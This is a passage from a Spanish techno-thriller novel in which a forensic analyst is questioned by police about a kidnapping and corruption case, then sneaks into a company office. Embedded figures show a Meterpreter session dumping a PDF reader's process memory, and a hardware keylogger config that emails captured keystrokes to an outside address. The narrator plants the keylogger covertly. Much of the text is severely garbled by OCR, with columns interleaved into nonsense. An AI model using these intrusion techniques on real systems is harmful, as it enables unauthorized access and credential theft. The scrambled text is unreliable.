el boligrafo en su solapa-. ;Cuéndo podré salir?

-Antes tenemos que hablar de lo que ha pasado, jno crees?
-8, bien, usted manda —utilicé el “usted” como muestra de respeto y sumision.

“tor no parecia molesto conmigo y me trataba

La entrevista habia empezado bien. El inspex
o bueno del

con exquisita profesionalidad. Eso me hizo pensar que atn podria sacar alg
interrogatorio y obtener alguna informacion.

-Digame una cosa, inspector. ;Para qué se habia citado con Yolanda?
Suérez sonrié y nego con la cabeza. Luego se inclino hacia delante y me sefialé con un dedo
amenazante.

-jAqui las preguntas las hago yo, capullo!

Copi6 mi frase ¢ interpretacion anteriores. En él eran mucho més convincentes. El brusco
de que nunca me ganaria la vida evaluando a la gente.

cambio de registro me convencio
e mierda hasta el cuello? Més vale

_Y ahora —continué Suarez-, jadivina quien esta d
daré en venderte para salvar

que empieces a hablar, porque tu amigo el karateka no tar
su propio culo.

Ahora fui yo quien negd con la cabeza.
-;Qué? —dijo Sudrez.
“No conoce a Marcos —contesté-. Nadie ha conseguido alcanzar su limite.

Suarez dio una fuerte palmada sobre la mesa, visiblemente enfadado. Yo no era el iinico en
recurrir a clichés baratos para intimidar.
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-Déjame que te di i i
ga una cosa, mierdecilla. Aqui todo el
€sto parece un puto musical de Broadway. [J\C}erdad qleler:iu%(igcif’?ba R tn

'Sl _atl[“l() su hasta allora SllenCIOSO COHlpaIIGIO-. 0omo en onrisas Lagllnlas .
C S . 7 0 N
SO]O depende de t1 qlle eStO teIIIllIle con unas o con OtIaS y

A]llbOS rneron ¢omo si la ocurrencta fll - p
€ra nueva SllS risas me arccieron del [laSIad(
ar tlﬁClaleS para no pensal‘ €n un glll()I pre viamente eStableCIdO

-La cosa i i inud ¢
i ngsglgzla bien wontguo Suarez-. Habéis atentado contra un agente de la
. ara empezar. La lista de deli i .
! : 1tos puede crecer si n i
: ; 0 m S
tienes que ver con Yolanda Diaz y que sabes de ese archivo P SEEAGE

- 1.. 1 — . 51 c. €ne que creerme. ]\ ll) €ramos Sa])](]() q i€
iOlaIlda €S mi... am ga dl e ESC Ch Tll
‘ IT Sl ub1
usted cra pOllCla, nunca le habIIaIIlOS atacad(). C()HletIIIIOS uin error

-(Quieres decir que me confundisteis con otro?
-Si, eso es.

-(No pretendiais asaltar a un policia?

-No, de ninguna manera.

-, Pero si a otra persona?

-Exacto.

-Entonces queda todo aclarado. Puedes irte.

-Gracias — : / i
cxoron, g r{ ggﬁz::d:;ll?g aélzlem]:r:e, [fero me detuvieron la mirada divertida de Suérez y la
1dad de Prado. Me dej€ caer de nuev i i
P L _ oenela -
serio —protesté-. Estaba siendo sarcastico. R

-¢Tu crees?
-Ahora si parece sarcasmo.

“Muv listo — S o
fuelrlz Illlr?t?'b reconoilg %uarez, que se reclind en el asiento y abrio la carpeta como si
1010, mostrandome solo las solapas mi i

era 1 tentras consultaba algo del i
v D algo del ntenor-.
M ;;;tlclegsehl P{emostco%lproli)ado vuestros antecedentes. Los dos estais limpios y ti no

ala gente. Tu colega si tiene pinta de i

ser un loco hijo de puta -Se llevé

’ [ ! 0 una
mano a la nuca y ech¢ la cabeza hacia atras-. Ese tio me da escalofrios

-No es tan malo cuando lo conoces.

-jTodavia siento palpitaciones en el cuello!

-Segur : 5 ' [
guro que ¢l lo lamenta mucho. No era nuestra intencién causarle ningun dafio

-Entonces, ;a qué venia lo de antes?
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Inspiré profundamente, sin atreverme a contestar. Los secuestradores habian sido claros en
sus amenazas. Si contaba lo que sabia, podia comprometer la seguridad de Yolanda. Pero
habia llegado a una situacién en que el silencio no nos ayudaria a ninguno de los dos. Si me
negaba a responder, Sudrez no me dejaria marchar y el tiempo se estaba agotando.

-Antes de responder —dije-, tiene que prometerme que su prioridad serd encontrar a
Yolanda. No utilizara nada de lo que le diga si eso supone un riesgo para ella. Y tiene
que explicarme por qué iban a encontrarse en el parque esta tarde. Después contaré toda

la historia.
-Estas sentado en la silla equivocada para plantear tantas exigencias —dijo Prado, en su
segunda intervencion de la noche.

Suarez reflexionaba. Apoyaba los codos sobre la mesa y juntaba las yemas de los dedos. Yo
observaba su rostro pensativo y su mirada perdida a través del tridngulo que habia formado

con las manos. Finalmente, parecid tomar una decision.

-A mediados de esta semana, recibi una llamada en mi despacho —dijo Suarez, aceptando
tacitamente mis condiciones-. De la comisaria del distrito de Villaverde. Un inspector
de la policia judicial me inform¢é de que la sefiorita Diaz se habia personado alli para
denunciar la desaparicion de su hermano, Pablo Diaz. Como este era mayor de edad y

no habia indicios de violencia, se siguio el protocolo establecido.
-Es decir, que no hicieron nada.

-Yo trabajo en la Brigada de Delincuencia Economica —me indico, pasando por alto
la critica-. No era de mi competencia y asi se lo dije al inspector, pero este insistid
en transferir la investigacién a mi umidad, ya que la sefiorita Diaz relacionaba la
desaparicién con una red de corrupcion. Al parecer, su hermano habia accedido a cierta
informacién de la empresa donde trabajaba que demostraria la comision de varios delitos
econémicos y comprometeria a altos ejecutivos de la misma. La empresa ya habia salido

en investigaciones anteriores.

- Habian investigado antes a Telgroup? -pregunte.

-Veo que tienes cierta informacion. A lo mejor si que puedes arrojar alguna luz sobre
este asunto.

-Le prometo que no quedaréa decepcionado. Por favor, contintie.

-La sefiorita Diaz sospechaba que su hermano habia sido descubierto y silenciado por los
responsables de la trama —prosigui6-, pero, antes de desaparecer, este le habia enviado

un archivo encriptado con las pruebas.
Iba a protestar, pero no fue necesario porque Prado intervino por mi:

-Cifrado —corrigid.

Ahora yo sabia que era uno de los nuestros.
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;Xﬁ’ti;lﬁg?o - consintié Suarez, que se encogié de hombros
nuestros téCnicjjs;(Tdcgg ;g?ntuwmos \na conversacion telefénica donde ]
el archivo. Ella queria hace:ﬁcl)l o eproblema con facilidad. Solo tenfa que eng
busqueda de su hermano desdeeri persona y cuanto antes. Insistia que iniciésgegarme
pendiente y, ademds, deb; el primer momento. Yo tenfa una montafia d mos la
5 S, debla comprobar la veracidad de Ia denuncia por otro same dt_rabajo
edios.

-El protocolo. Claro.

-Mira, no estoy contento con ello, pero las cosas funcionan asi
-Vale, ; qué m4s?

'NO . A q q l) g ent “
.lIlLlChO unque le asegure ue no ()(ha Ireci )]l]a ][asla Ia €ma
g K] na si Ul c, e a
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: > g > p T C]
mlentla e V()l\/la a Hlasaleal e] Cue“() a] reCO; da ele 0d10- le to

S S cordar 1 plS d (0] ca

-Necesitaré el portatil -dije.

Bu&‘tlo IOdi} no. ES CIET [0 q'l.l avice g 0 e ]10 y | p
s I '
N € Su 1C alaun S h C 5 omit OUOS, como p{)] €lem IO.
q gI I p na y all&llad(] a vivie dd dE Ila I\"I]
ue Ja]ICOS habltl IeSIOHadO a'ﬂ'e”]en[e 1 una Crso] { v n 0 -

El’l la rime rte de la €Xposicion € Cort, b C t ame on c - Q
p Tad pa p 1 5 me ¢ apan con Inuamente c pl’ guIltaS uerian

se IllOSlialOB I‘I]flS y mas lntEIeb S, “eﬂ' n
l‘:o u momento en que pude COl’ltlIluaI Sin

-Antes trabajaba en la Brigada de Investigacion Tecnoldgica —explico

Tenia iosi :

incon :’2;1?&1:3 ecunos:da_d por saber cémo habia recuperado el fichero robado, No tuve ninetin

que cunids coﬁﬂ ‘ex;_)lu.arlu, echando mano del portatil cuando lo necesitaba. Asi, le cognté
fISegul conectarme, una de las primeras blisquedas que hice fue la ’del PDF
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Lamentablemente, quien lo habia abierto se habia limitado a ver su contenido para despucs , Pero, por desgriici ‘
desconectar el pendrive. No obstante, se me ocurrieron dos modos de recuperarlo. » Por desgracia, la memoria RAM no es com i

I duro, disefiado para que los archivos estén I s S]Stc,mema de ficheros de un disco

; . ; én £ :
-;Qué modos? —preguntd Prado. recuperar un fichero es tan sencillo como detec(:arrn]fnnos o e; tados posible, y donde

; ; ; o adquiriend : Rl s primeros bytes de S onr

-La primera y mas sencilla, arrancando un VNC que me permitiera usar su ordenador tal enqmjl tm;o‘lso's Sethll-:is hilsta su termino. La memoria es més C}‘;tmpfei:tm?l?iyp %y
delante, viendo el escritorio moviendo su raton. Pero s imposibles de rastrear, “ » y esta dividida
boute, 4 resulta préctico. por lo que “escarbar” en ella con utilidades no

y como si yo mismo estuviera
al no estar realmente alli, no queria arriesgar

el cursor “solo” o se cerraban y abrian ventan
apagase directamente el ordenador. -Entonces. nada —Me encos]
Ajs o heXadecin’lal S ot ;lcb(ilcl de hombrO_S, como si la respuesta fuera evidente-. Editor
. a5 pist scar. No [o hice en su momento, porque solo me i :
pistas sobre el paradero de Yolanda. me mteresaban

0 screenshot para hacer capturas de pantalla. Pensé que
menos el trozo que se visualizaba.

me a que alguien notara como se movia

as de forma magica, y diese la alerta o -¢Entonces? —Enarc6 una ceja con escepticismo

-Luego probé a usar el comand b
si el documento estaba abierto, podria guardar por 1o ¢ todos modos, le ensefié cémo hacerlo. R
dbs. ] erexnligue acerlo. Repasamos el contenido del fich
' pliqué que aquello que veia era un trozo de lo que yo identificaba Cfl?loe Ill;rteallacl);

No me sirvio la idea original, ya que el archivo efectivamente estaba abierto, pero se . by _
efa ningn dato relevante. Pero me dio una perationen”, con los campos “Nurnberg”,
g”, “87.000,00” y “21/05/2012” i
— ; 2 en la primera fila.

encontraba en su tltima pagina y allino se 1
tercera 1dea. 7T 1 Z = : : . -
. . . , 0o 4E oo 2 o ¢ U £ ¢ OI23455703AICDED
-;Apagar €l monitor para que nadie viese lo que hacias? 3030 30 i gg 00 38 37 2E .N.rnberg g7
_Fh... no, eso no se puede hacer Aundue hubiese molado —reconoci e gl b oo sz S CO0OEL comyy - - -
> )Y . q - 30 31 32 R o 30 35 ZF 32 L........ 21/05/2
) o 0 30 2o i od 35 012..%.1n....5
_Haz el favor de continuar —replico, cabreado. 00 DO 03 s 80 00, 60 el
. . . o 30 35 zF 31 30 2F e o 10/
-Lo que hice fue volcar el contenido de la memoria del proceso en un fichero —Sefialé ;:' 8 05/2012. .M. nchof,
la ventana y le di un momento para que la estudiara-. Imaginé que estaria alli. Luego, 03 Dg L 2.2080, 0
. . . 90 00 03 0 G 30 35 9 20 5 ma ap Lo EYmsmsmss
encontraria el documento mediante alguna herramienta. Romd o g; ol 35 27 32 _........ 09/05/2
- - — e M- :’ 00 54 02 O12..M.
= 35 34 3030 =2¢ 30 30 02 00 00 03 01 ... I:DECEEHHU
' 2656 488  wmpnetwk.exe 4294967295 . Ug = gi 3; 28 93 00 13 00 03 90 ...l
: - 3 0a 08 23 or om0 e
2664 308 jucheck.exe x86 1 ) ) 00 e amlie o8 lez 2= o5 55 2 32 e e 03/05/2
2736 828 wuauclt.exe %86 1 PCH2003\admin C:\Windows\s 30 30 36 2¢ 20 30 ‘:F U’: :D DS 4 09 012..H.raberg...
f . Sl 42 db !
uelt.exe ok T L L 13 01 .65.000,00......
2812 488 svchost.exe 4294967295 32 30 31 32 DA DO 44 ¥C 73 73 05/7017 ...... a1/
3372 1728 met.exe %86 1 pcw2003\admin ¢:\Users\adm gi ‘;[d‘ gg 33 g{ 20 30 2o 30 30 = Orf— S—i-ols-ﬁield
Ju 0 06 00 00 03 00 032 : S e ’
met.exe 0A 40 32 38 2F =0 j = 02 erieans
2 33 2F 3 P SPN P e 2 EmamsetLermayae
3712 488  svchost.exe 4294967295 _ G - 33 . Sf i 97 i3 b 28/04/2012.
4004 2432 AcroRd32.exe %86 1 pcw2003\admin C:\Program F 30 25 30 2c 30 30 08 00 D‘; ;‘L fo: o lUI?_ .M.nchen........
5 - = 03 .9.0s5
Reader 11.0\Reader\RcroRd32.exe Img 94: Visualizacion hexadecimal de la memmoria voloada 9.050,00.... ...
Suarez también i i . ‘
de mi decl ién intervino, pero dando mucha mds importancia a la cronologfa y coherenci
meterpreter > run process memdump ~P 4004 de mi declaracion, sin parar de tomar notas de forma compulsiva. Cuando le hablé Ia
1*] Dumping memoTy for AcroRd32.exe ‘ = mphoacmn del consejero, dejd de escribir. Cuando relacionéaNﬁr.nb A .
[*3 pDumping Memory of AcroRd32.exe with FID: 4004 deJO caer el boh'grafo sobre el papel y me o 3 ] CIg con la presuienta,
T} base size = 192 . 10 con ojos desorbitados.
[*] pase size = 256 -(La Presidenta? —preguntd, co 1
. . y i mo St . ..
= hoe ize = 320 corciorarse. , dudara de haber escuchado bien y quisiera
[*] pase size = 2912
1#] base size = 2916 = Asenti.
Reader. - Est4
,Estas completamente seguro de ello?

Img 93: Volcado de memoria del proceso de Acrobat
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-Es la tiica explicacidn posible. Las pruebas apuntan a ella como la maxima responsable.

-;Te das cuenta de las implicaciones politicas y mediaticas que tendria su imputacién?
Si la trama de corrupcioén llega a ese nivel, necesitaremos estar muy seguros antes de
actuar. En cuanto pongamos su nombre en una sola diligencia, una avalancha de jueces,
abogados, politicos y periodistas se nos vendré encima.

_Y si cometemos un solo error —afiadié Prado-, nos COmMmEran vivos.
-;Pablo Diaz esta dispuesto a declarar? —me pregunt6 Sudrez.
No se presentard mientras ellos retengan a su hermana.

El inspector se recosté y volvié a formar un triangulo con las manos. Supuse que era su
postura de meditacion.
-Comprenderés que, sin pruebas solidas, tenemos atadas las manos. No podemos hacer
nada.

-;Qué? —exclamé, rezumando indignacién-. Tienen mi declaracion, el video del
secuestro, el archivo con la lista, han leido el correo del consejero. .. ;Qué otras pruebas

necesitan?
-Eso que ti llamas pruebas, no lo son —apunté Sudrez-. El abogado mas torpe podria
rebatirlas sin problemas.

_Es verdad —terci6 Prado-. En el video no se ve ningin secuestro. Ni siquiera se aprecia
bien que tu amiga vaya en ese coche. El archivo es mas prometedor pero, sin pruebas
adicionales de que esos alias corresponden a personas reales, solo tenemos algo con
lo que empezar a investigar. Y olvidate del correo. Podria pasar por una de tantas
comunicaciones entre la consejeria y la empresa adjudicataria. Demasiado vago.
-Sin contar con que todo se ha obtenido ilegalmente —~prosiguio Sudrez-. Son pruebas
viciadas; inadmisibles ante un juez. De hecho, nuestra obligacion serfa imputarte varios
delitos informaticos ahora mismo.
Estaba furioso. No comprendia como aquellos dos podian ser tan obtusos.
_No me venga con legalismos ni amenazas -le dije-. {Qué queria que hiciera, que me
quedara de brazos cruzados sin hacer nada?

-No, que fueras a comisaria y denunciaras. Asi podriamos haber hecho nuestro trabajo.

_Eso no le sirvié de mucho a Yolanda, cverdad?

Susrez resoplé. Hasta ese momento, habia tolerado mis insolencias, pero su paciencia
estaba a punto de agotarse, y yo me daba cuenta.

-Escuche, inspector —dije, con un tono apaciguador-. Necesito que se tome esto en
serio. La amenaza contra la vida de Yolanda es real. Tiene que empezar a buscarla de
inmediato, no pensar en pruebas condenatorias. Y no me entienda mal; me encantaria

i
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—

que ahora su prioridad es traer 4
conmigo lo que qui
e . que quiera.
¢ de brazos mientras esperaba que Sudrez tomara una decisién
-Os voy a dejar marchar a los dos —dijo.

-Estupendo.

u
121 ieaig? co(riruptos pagaran por sus crimenes. Pero creo
ga de vuelta sana y salva. Después, puede hacer

"I IadO se quedaIa con tll (o) deIladOI y estud]ala tOdO € Inatellal. YO haIe unas Cuanta
T l S
llaIIladaS € 1miciare el pI otOCOIO de busqueda. VOSOtIOS [0 1) quedals al IIla.Igell, ({ eIltEIldldO !

-Porque si os en it -
quierczl no debis c;;;gf f)nhlm sitio donde no debais estar, contactdis con alguien con
definitiva, si volvéis a int faf:els algo distinto a quedaros en casita y ver la tele, en
senial de,esl' s er t?nr en mi mvcsugac:én, vais a desear que el juez os e

ar lejos de mi. ;He sido lo suficientemente claro? encierre
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Presentacion

-... y entonces me dice: “Pero, querido, esta camisa te hace Jjuego con el traje color
indigo” -dijo Juanjo Rivas, con una elevacién de cejas que denotaba, todavia mas que
el tono, su incredulidad-. Pero qué demonios es el color indigo! ;Tu lo sabes? —Se
volvid hacia mi y yo me encogf de hombros-. Pues Yo tampoco. Asi que le contesto:
“Es verdad, carifio, pero es que cuesta ciento cincuenta euros, y ya tengo mas de cien
camisas. A algunas no me ha dado tiempo de quitarles la etiqueta”. Y ella, sin entrar en
razon: “Estaba rebajada. He ahorrado cien euros”. Entonces pienso que cincuenta euros
no es mucho y que no merece la pena seguir discutiendo —Yo me mostré conforme-.
Pero entonces me suelta: “No seas absurdo. Es de Armani. Ciento cincuenta es su precio
rebajado”.

Saliamos de Madrid por la A-6 camino de Telgroup en su impresionante Mercedes y me
estaba contando su Gltima disputa conyugal, motivada, como siempre, por la desmesurada
aficion de su mujer a salir de tiendas. Juanjo siempre se estaba quejando de los gastos
que debia soportar para mantener contenta a la parienta, quien no tenia otro modo de
agradecérselo que afiadiendo a sus compras algin que otro regalo para su marido. Pero
como todo salia de la misma cuenta, esos regalos generaban mas gastos y, en consecuencia,
mas discusianes.

-Cada vez que sale a “dar una vuelta” —solt6 el volante para hacer el gesto de comillas
con los dedos-, mi sueldo contribuye a sostener la industria de la moda en este pais.

-;No estaras exagerando? —pregunté.

-iExagerando! —exclamo-. No, Angel, no creo estar exagerando. Carmen tiene tantos
zapatos que podria calzar a todos los hobbits de la Comarca. ;Y vaya si esos cabrones
lo necesitan!

En otras circunstancias me hubiera reido con las anécdotas y bromas de mi jefe, no porque
fueran graciosas en sf mismas, sino porque me convenia reforzar su buen humor, pero mi
animo presente solo me permitia responder con asentimientos y, si alguna vez sonrefa, lo
hacia por educacion.

Dejé a Juanjo llevar todo el peso de la conversacidn, que yo seguia solo a medias, mientras
pensaba en como proceder durante la visita a la sede de Telgroup. Las amenazas de Sudrez,
junto con los nulos resultados que habiamos obtenido del seguimiento a Etxeondo, me
impulsaban a dejarlo todo en manos de la policia. Por otro lado, seguia temiendo que

- repe. L A i
b ke 4 S S 2 e
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encontrar a Yolanda no fuera una prioridad para los agentes. Al final, decidi que no podia
desaprovechar la ocasion de buscar alguna pista.

Habia pedido a Marcos que descansara mientras yo hacia la presentacion de las conclusiones
del analisis forense. No tenfa sentido continuar con la vigilancia de Etxeondo un lunes
Jaborable, ya que seguramente pasaria el dia en la oficina. Ademas, Marcos debia de estar
extenuado tras dos noches sin dormir, pues las amenazas de Suérez no le habian impedido
volver directamente a la casa de su objetivo. Segin me conto, lo inico relevante de lanoche
fue la visita de un hombre de mediana edad, que abandond la vivienda al cabo de veinte

minutos.

Etxeondo en la presentacion. Yo no sabia qué papel
habia desempefiado en todo el asunto, aunque dudaba que fuera €l quien diera las ordencs a
la vista del correo que le habia enviado el consejero. Pero era muy posible que me conociera
y estuviera al tanto de mi relacién con Yolanda v el archivo. Si aparecia en la reunion, me
resultaria muy extrafio tener que explicarle las conclusiones de mi anlisis, sabiendo que
la informacién robada probaba que estaba jugando sucio. Para él, seria toda una sorpresa
descubrir que habian contratado a la misma persona que ahora querian liquidar por saber

demasiado.
-;No te parece que las mujeres deberian estar incapacitadas por ley para poseer tarjetas
de crédito? —preguntd Juanjo.
- Qué?

Sali de mi abstraccion para advertir que habiamos llegado. Juanjo entrd en el aparcamiento

y llevé el Mercedes hasta la zona de plazas destinada a las visitas. Aparcé cerca de la
entrada, y me mir6 expectante mientas se desabrochaba el cinturén de seguridad.

-; Te encuentras bien? —pregunt6-. Has estado callado durante todo el camino.

Mi mayor temor era encontrarme a

-Si, bien. Estaba pensando en la presentacion —menti a medias.

-;Por qué? —Mir¢ el portatil que tenia sobre las rodillas. Habia llevado el ordenador del
trabajo porque el mio estaba siendo inspeccionado por Prado-. ;Te preocupa algo?

-No, nada. Lo tengo todo bajo control. Por cierto, jcomo nos llego este proyecto? ;Ya
conocias a alguien de aqui? —Seiialé el gran edificio que tenfamos enfrente.

a una novedad que yo mostrara interés por los
guian los contratos. Mi trabajo se limitaba a
presentar las conclusiones o declarar en el

Juanjo me observo con curiosidad. Constitui
asuntos comerciales y el modo en que se conse,
realizar el analisis y, cuando no podia evitarlo,
juicio. Juanjo era uno de los encargados de vender los servicios.

. Supongo que nos recomendaria alguno

_No conocia a nadie personalmente —contesto-
de sus abogados. ;Por qué lo preguntas?

-Por nada. Simple curiosidad.
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-Es una bu 2asio
o Epicaena; gczf;g?f’pa{a Ilaczr Nuevos contactos —dijo-. Una oportunidad estratépj
ica — €l pasador con la llamativa | .
e ol etra E de color rojo
po;]:;a gl age' l?_ empresa para la que ambos trabajabamos, como hacia sién; i
plan jefe-. Si lo hacemos bien, vendran mas contratos peduese

L . . .
0 haremos bien —afirms, aunque sin conviccidn.

Nos apeamos del coche y entram inci

o oA amos por l.::l puerta principal. La luz del sol

o is]l:;issa c}lrellslt;f:);ael gmpho vcst{bu lo. A la derecha, habia un puestoaciza::gst?rbi?i;(ai

P e o El; !.\l.’::;a. Seguimos hasta la zona de recepcion: un imponent

o - dyl ! mbre de la empresa en la parte frontal, que desafortunada .
prernas de la atractiva recepcionista que se sentaba detras ente

~¢ En qu plledO ayu arl S -1 p y
g
€ d (& 0S pe. uIlt(), OfIGClendOHOS una deslumbrante SOnrisa
una eSplélldlda vista del buStO que su unlfOl’me alel marino apenas pOdla COIlten(EJ
.

-Somos Juanjo Rivas y A ; i . i
; y Angel Rios —dijo mi jefe-, de Epi :
. . : > ca. E
EI:;r;ne:igo_ - -Sac6 una tarjeta del bolsillo de la solapa para cor?sufatar eslt;mols:.) o
0 del departamento de Recursos Humanos. ombre-. Santiago

La chica jo fr mi

— tercl?a Sdgq(; ded scl)lnrelr mientras con§ultaba la pantalla del ordenador. Apret4

ok es de hablar por el dispositivo de auricular y micr6fono . Ii e o
za y que hasta entonces habia ocultado su rubia melena st

-Los sefi i 1 .

P I;ngsdﬁv§§ y Rios han llegadol—lnformé con profesionalidad-. Entendido —

Sus pasey - Nos egrln?r a gosotfios—. Les estan esperando en la tercera planta. Aqui tienen
pa — eg0 sendas tarjetas-. P o 1

Inetahcas‘ al otro lado, ] ueden usar el ascensor —~Sefialg tres puertas

Le di i 1 i

. est(r)r;osela;b%ir:rclas y nos enqar(rillnamos hacia los tornos. Pasamos las tarjetas por el lector
on con un pitido. Nuestra entrada que i

Langley, pero tenfa sus medidas de seguridad. Avedabe registrada. Telgroup o era

Mi
deifa]i—g; ezfpersbla ‘.31 ascensor, me entretuve leyendo el nombre de los diferentes
Jopar plantaosE nfonig:ctonodgue colgaba en la pared. Gestion Econémica estaba en la
: . recorde que, en mi busqueda de informacién i
: sobre Etx
descubierto que era gestor de fondos. Su despacho tenia que estar alli. R

-, Vamos? —dijo Juanjo, espera interi i
i Jo, esperando ya en el interior del ascensor-. jPues si que andas hoy

-Si, lo siento.

Subi

pasbiﬁgo: il:;talla:i tercera plapta._Las puertas se abrieron y salimos a un vestibulo con un

i = s i ado. Una mujer Joven vestida con traje formal nos esperaba. Se presentd
uengo y nos condujo hasta una sala de reuniones. Habia una mesa ovalada



178 Hacker Epico

-El sefior Haro llegara enseguida —informo la mujer-. Yo también formaré parte de la
reunion. ;Puedo ofrecerles un café mientras esperamos?

Los dos rehusamos.

Juanjo comenz6 una animada conversacién con nuestra anfitriona. Mientras, yo organizaba
la documentacién y encendia el portatil. Habia preparado una presentacion en Power Point,
asi que ped{ permiso para utilizar el proyector. La mujer me hizo un gesto de asentimiento,
sin dejar de parlotear algo sobre la expansion empresarial y las oportunidades de mercado
que a mi me sonaba a klingon, pero que a mi jefe parecia interesar.

El sefior Haro llegd al cabo acompafiado de otro hombre mas joven pero igualmente
trajeado: no era Etxeondo. Se presenté como Miguel Cdmara, abogado de la empresa.
Respiré con alivio mientras nos estrechdbamos las manos. Todos se sentaron de cara a la

pantalla y la reunion dio comienzo.

La agenda era sencilla y bastante comun: antecedentes, donde expliqué cronologicamente
con fechas y horas exactas el suceso que dio pie a la investigacion; cuales eran los hallazgos
que se habian detectado y su base técnica; y finalmente las conclusiones. Acabé mostrando
el informe, recorriendo todas sus péginas rapidamente por si a alguien le surgia alguna duda

o no entendian alguna parte.

No hubo apenas interrupciones. Tan solo tuve que contestar un par de preguntas del abogado
y, a sugerencia suya, cambiar algunos términos legales por sinénimos que encajaban mejor.
Ya le habiamos remitido un borrador con los resultados preliminares del anélisis forense.
Ahora, su preocupacién era disponer de todas las pruebas para proceder contra el empleado
desleal y salvaguardar el interés de la empresa. La mayoria de las veces mi trabajo consistia
precisamente en eso. En esta ocasion, y aunque yo no podia saberlo entonces, habia

desencadenado una tormenta.
-Muchas gracias por todo —dijo Haro, cuando ya se despedia-. Estamos muy satisfechos
con el trabajo realizado.
-Si, es justo lo que queriamos —terci6 el abogado.
-Gracias a vosotros —contestd Juanjo-, por confiar en Epica. Ha sido un placer.
-Les acompafio a la salida —nos dijo la mujer, haciendo un gesto hacia la puerta-. Por
favor.

Me eché la mochila del portatil al hombro y ambos la seguimos por el pasillo. Haroy
Cémara se quedaron en la sala de reuniones. Ya en el vestibulo, Juanjo llamo al ascensor

mientras se despedia de nuestra anfitriona.
-Disculpe ~me excusé, componjendo una mueca de apuro-, ;jpuedo usar el servicio?

La mujer me observo, divertida. Luego me indic6 la primera puerta del otro pasillo.

-Por supuesto. Es ahi.

L
s s s R

ire
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-Espérame en el coche, Juanjo. Puede que vaya para largo.
-iHay que traer los deberes hechos de casal —protestd mi jefe.
-Si me disculpan, yo ya me marcho —dijo Gema Luengo-. Ha sido un placer.

Deié : ,
estﬁi : ::2;30 Ee:pp:rgndo eJ_ ascensor y me meti en el aseo de caballeros. Comprobé que
: - LSpere un minuto y me asomé al pasillo. Juani it
Siady . . : 0 se habia marchad
veia a nadie en el vestibulo. Volvi j ’ ‘boton de
! Jjunto a los ascensores pero, en vez de g
( en el ulsa
llamada, abri la puerta que daba a las escaleras, ’ SR

: cl)lrlrnlloal cuarto piso y entre en _el vestibulo, idéntico al del piso inferior. Un Joven, trajeado
) ) 2
ek ;/o, paso t??'r mi lado sin apenas reparar en mi presencia. Confiaba en que, al ser
q 3 $ unas oficinas grandes, no todos tenian por qué conocerse. Si mostraba la ,debida
conilanza, podria pasar desapercibido.

Tomé i i i
; Slen\ele?; T];)e:is;;lé) d? la tdqechla}, donde habia varios despachos cuyas paredes eran de cristal
s € el exterior. La mayoria estaban vacios. E i fi
v _ - Era media mafiana y sus ocupant
: i _ es
iestanan haciendo un Qescanso en la cafeteria. Me dirigi al fondo mientras lefa las plaréas de
as puertas. Todas tenfan un nombre y un cargo.

La pentltima placa llamé mi atencién: Alexander Eichelberger, director de fondos. Era

el nombre que habia d i i ; - p
deSCifrarlo_q abia descubierto en el archivo y cuyo origen aleman me habia ayudado a

Tras un gran escritorio y de espaldas a un gran ventanal con vistas al parque exterior, estaba
sentado un hombre maduro con el pelo blanco peinado hacia atras. Estaba enfrascado en
la lectura de unos documentos y no advirtié que cruzaba por delante y me escondia en el
fiespajcho defal lado, que si estaba vacio. La puerta abierta hacia el interior me mostraba 1

identidad de su ocupante: Javier Etxeondo, gestor de fondos. o

La pared divisoria era opaca y me ocultaba a la vista del alemén. Sin embaro. la del asillo
era una cnstalfera como el resto. Si alguien llegara hasta alli, no habria fo?-r:;a humgna de
ocu%ta_rse. Tenia que darme prisa en registrar ese despacho y abandonarlo cuanto antes
‘Ijgl yilélrxallqo que queria era que Etxeondo me encontrase husmeando en su despacho cuand(;

lLo primero que e’ncontré fue un ordenador encendido sobre la mesa. Lo rodeé para observar
a panta}la. Pulsé la bgrra .espacwdora y me apareci la ventana de solicitud de contrasefia,
por encima de un escritorio con la foto de un perro: cazador, supuse.

Saqué del bolsillo una pequena pieza hardware que usabamos en los ataques de ingenieria
s;:vc:a! de Epica. Era un keylogger, que instalé entre el teclado y el PC. Primero, desenchufé
el teclado del puerto USB y conecté el keylogger en su lugar. Acto seguido, afiadi el

teclado a la boca de este. Me levanté para ¢ i el dispositi 7
e aent - omprobar si el dis
y quedé satisfckio con ¢l resultadio. p positivo pasaba desapercibido

R
v ol =%
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Img 95: Keylogger fisico entre €] PC y el teclado.

El dispositivo guardarfa sobre si mismo todo lo que se teclease en aquel ordenador. Ademas,
permitia conectarse a un punto de acceso wireless como si fuera un pequefio ordenador y
mandar el registro de las pulsaciones por correo electronico. Tan solo se podia detectar si
alguien lo vefa fisicamente enchufado y sospechaba, lo que era poco probable debido a que

su aspecto era el de un adaptador.

Wi F1Network=wLaAN_071
iFiPassword=ABAAC0O1009
iFiENncryption=WEP
Recipient=rios@hushmail.com

A

Img 96: Archivo de configuracién del keylogger.

Como no sabia los datos de la conexion wifi del edificio, lo que hacia en estos casos cra
configurarlo previamente para que se conectase a un punto de acceso que yo mismo creaba
con el portatil. De esa forma, el keylogger tenia acceso a Internet y yo podia recibir el
correo, siempre y cuando estuviera razonablemente cerca de donde se habia instalado.

Como no tenia tiempo para malabarismos, me fijé en el numero W7-0127 que estaba
grabado en un adhesivo junto al teclado. Bra un terminal de empresa. Eso me dio una idea.
Memoricé el niimero y continué investigando, asegurandome de dejar todo lo que tocaba
tal cual lo habia encontrado.

Abri los cajones del escritorio y revisé las estanterias. No encontré nada mds que
documentos con nimeros y graficos. Empezaba a desesperarme y mi sentido aracnido me
decia que ya deberia estar en el coche con Juanjo, pero también que no se me presentaria
otra oportunidad como aquella, En vez de salir, continué hurgando entre los papeles.

Hasta que escuché unos pasos que venian en mi direccion.

Capitulo XXII: Presentacion n

Contu iracion, si
procurzzelaalresplracmg, Sin atreverme a mover un muscufo, como si fa inmovilidad me
e _{)msrr:io t1erg1p0 la invisibilidad. Cuando los pasos me anunciaron que su
me 1ba a descubrir, me oculté bajo 1 i
> 1 2 a mesa, a sabiendas de que ese e i
3 . ; sco
me serviria de mucho. Esperé, pero nadie entr6 en el despacho. ! ndite no

Me a S i
VOIVi\;entutre ai gatear hasta la puerta para echar un vistazo al pasillo. Nada mas asomarm
ks u;ne erla 'cabeza como una tortuga asustada en su caparazon. Me arrastré hacia arr %
e lcaar‘lfé‘g% (:101111 la rbnoc(lin%a ddel portatil bajo el brazo. y me pegué a la pared divis;mfi::lS
el hombre delgado que se habia p[antad' 1
; : 0 ante la puerta del alems
conocia a ese tipo. No en vano, hacia dos dias habia intentado matarme san e

A través de la fina pared, me llegd

